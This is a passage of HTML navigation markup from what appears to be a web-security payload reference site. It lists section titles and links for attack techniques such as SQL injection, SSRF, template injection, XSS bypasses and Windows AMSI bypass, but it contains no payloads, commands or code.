    Subdomains Enumeration
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - AMSI Bypass
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - DPAPI
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - Defenses
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - Download and execute methods
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - Mimikatz
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - Persistence
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - Privilege Escalation
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Windows - Using credentials
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
        
          
          <label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    NoSQL Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_36">
            <span class="md-nav__icon md-icon"></span>
            NoSQL Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../NoSQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    NoSQL Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
        
          
          <label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    OAuth Misconfiguration
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_37">
            <span class="md-nav__icon md-icon"></span>
            OAuth Misconfiguration
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../OAuth%20Misconfiguration/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    OAuth Misconfiguration
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
        
          
          <label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    ORM Leak
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_38">
            <span class="md-nav__icon md-icon"></span>
            ORM Leak
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../ORM%20Leak/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    ORM Leak
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
        
          
          <label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Open Redirect
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_39">
            <span class="md-nav__icon md-icon"></span>
            Open Redirect
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Open%20Redirect/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Open URL Redirect
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
        
          
          <label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Prompt Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_40">
            <span class="md-nav__icon md-icon"></span>
            Prompt Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Prompt%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Prompt Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
        
          
          <label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Prototype Pollution
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_41">
            <span class="md-nav__icon md-icon"></span>
            Prototype Pollution
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Prototype%20Pollution/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Prototype Pollution
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
        
          
          <label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Race Condition
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_42">
            <span class="md-nav__icon md-icon"></span>
            Race Condition
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Race%20Condition/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Race Condition
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
        
          
          <label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Regular Expression
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_43">
            <span class="md-nav__icon md-icon"></span>
            Regular Expression
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Regular%20Expression/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Regular Expression
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
        
          
          <label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Request Smuggling
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_44">
            <span class="md-nav__icon md-icon"></span>
            Request Smuggling
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Request%20Smuggling/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Request Smuggling
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
        
          
          <label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    SAML Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_45">
            <span class="md-nav__icon md-icon"></span>
            SAML Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SAML%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    SAML Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
        
          
          <label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    SQL Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_46">
            <span class="md-nav__icon md-icon"></span>
            SQL Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    SQL Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Google BigQuery SQL Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Cassandra Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    DB2 Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    MSSQL Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    MySQL Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Oracle SQL Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    PostgreSQL Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    SQLite Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../SQL%20Injection/SQLmap/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    SQLmap
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
        
          
          <label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Server Side Include Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_47">
            <span class="md-nav__icon md-icon"></span>
            Server Side Include Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Include Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
        
          
          <label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Server Side Request Forgery
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_48">
            <span class="md-nav__icon md-icon"></span>
            Server Side Request Forgery
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server-Side Request Forgery
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Request%20Forgery/SSRF-Advanced-Exploitation/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    SSRF Advanced Exploitation
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Request%20Forgery/SSRF-Cloud-Instances/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    SSRF URL for Cloud Instances
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
        
          
          <label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Server Side Template Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_49">
            <span class="md-nav__icon md-icon"></span>
            Server Side Template Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/ASP/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection - ASP.NET
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/Java/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection - Java
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/JavaScript/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection - JavaScript
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/PHP/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection - PHP
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/Python/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection - Python
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Server%20Side%20Template%20Injection/Ruby/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Server Side Template Injection - Ruby
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
        
          
          <label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Tabnabbing
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_50">
            <span class="md-nav__icon md-icon"></span>
            Tabnabbing
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Tabnabbing/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Tabnabbing
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
        
          
          <label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Type Juggling
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_51">
            <span class="md-nav__icon md-icon"></span>
            Type Juggling
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Type%20Juggling/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Type Juggling
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
        
          
          <label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Upload Insecure Files
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_52">
            <span class="md-nav__icon md-icon"></span>
            Upload Insecure Files
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Upload%20Insecure%20Files/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Upload Insecure Files
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52_2" >
        
          
          <label class="md-nav__link" for="__nav_52_2" id="__nav_52_2_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Configuration Apache .htaccess
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="2" aria-labelledby="__nav_52_2_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_52_2">
            <span class="md-nav__icon md-icon"></span>
            Configuration Apache .htaccess
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    .htaccess
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
        
          
          <label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Web Cache Deception
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_53">
            <span class="md-nav__icon md-icon"></span>
            Web Cache Deception
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Web%20Cache%20Deception/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Web Cache Deception
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
        
          
          <label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Web Sockets
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_54">
            <span class="md-nav__icon md-icon"></span>
            Web Sockets
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Web%20Sockets/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Web Sockets
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
        
          
          <label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    XPATH Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_55">
            <span class="md-nav__icon md-icon"></span>
            XPATH Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XPATH%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    XPATH Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
        
          
          <label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    XSLT Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_56">
            <span class="md-nav__icon md-icon"></span>
            XSLT Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSLT%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    XSLT Injection
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
        
          
          <label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    XSS Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_57">
            <span class="md-nav__icon md-icon"></span>
            XSS Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSS%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Cross Site Scripting
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSS%20Injection/1%20-%20XSS%20Filter%20Bypass/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    XSS Filter Bypass
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSS%20Injection/2%20-%20XSS%20Polyglot/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Polyglot XSS
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSS%20Injection/3%20-%20XSS%20Common%20WAF%20Bypass/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Common WAF Bypass
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSS%20Injection/4%20-%20CSP%20Bypass/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    CSP Bypass
  </span>
  

      </a>
    </li>
  

              
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XSS%20Injection/5%20-%20XSS%20in%20Angular/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    XSS in Angular and AngularJS
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
        
          
          <label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    XXE Injection
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_58">
            <span class="md-nav__icon md-icon"></span>
            XXE Injection
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../XXE%20Injection/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    XML External Entity
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
        
          
          <label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
            
  
  <span class="md-ellipsis">
    Zip Slip
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_59">
            <span class="md-nav__icon md-icon"></span>
            Zip Slip
          </label>
          <ul class="md-nav__list" data-md-scrollfix>
            
              
                
  
  
  
  
    <li class="md-nav__item">
      <a href="../Zip%20Slip/" class="md-nav__link">
        
  
  <span class="md-ellipsis">
    Zip Slip
  </span>
  

      </a>
    </li>
  

              
            
          </ul>
        </nav>
      
    </li>
  

    
      
      
  
  
  
  
    
    
    
    
    <li class="md-nav__item md-nav__item--nested">
      
        
        
        <input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_60" >
        
          
          <label class="md-nav__link" for="__nav_60" id="__nav_60_label" tabindex="0">
            
  
  <span class="md-ellipsis">
     LEARNING AND SOCIALS
  </span>
  

            <span class="md-nav__icon md-icon"></span>
          </label>
        
        <nav class="md-nav" data-md-level="1" aria-labelledby="__nav_60_label" aria-expanded="false">
          <label class="md-nav__title" for="__nav_60">
